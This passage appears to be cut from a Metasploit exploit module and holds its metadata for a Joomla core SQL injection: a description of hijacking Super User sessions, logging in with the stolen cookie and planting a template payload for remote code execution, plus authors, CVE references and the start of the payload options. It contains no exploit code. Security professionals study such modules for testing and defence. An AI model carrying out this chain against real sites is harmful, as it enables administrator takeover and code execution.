The vulnerability exists in the Content History administrator component in the core of Joomla. Triggering the SQL injection makes it possible to retrieve active Super User sessions. The cookie can be used to login to the Joomla administrator backend. By creating a new template file containing our payload, remote code execution is made possible. }, 'License' => MSF_LICENSE, 'Author' => [ 'Asaf Orpani', # Vulnerability discovery 'xistence <xistence[at]0x90.nl>' # Metasploit module ], 'References' => [ [ 'CVE', '2015-7857' ], # Admin session hijacking [ 'CVE', '2015-7297' ], # SQLi [ 'CVE', '2015-7857' ], # SQLi [ 'CVE', '2015-7858' ], # SQLi [ 'URL', 'https://www.trustwave.com/Resources/SpiderLabs-Blog/Joomla-SQL-Injection-Vulnerability-Exploit-Results-in-Full-Administrative-Access/' ], [ 'URL', 'http://developer.joomla.org/security-centre/628-20151001-core-sql-injection.html' ] ], 'Payload' => { 'DisableNops' => true, # Arbitrary big number.
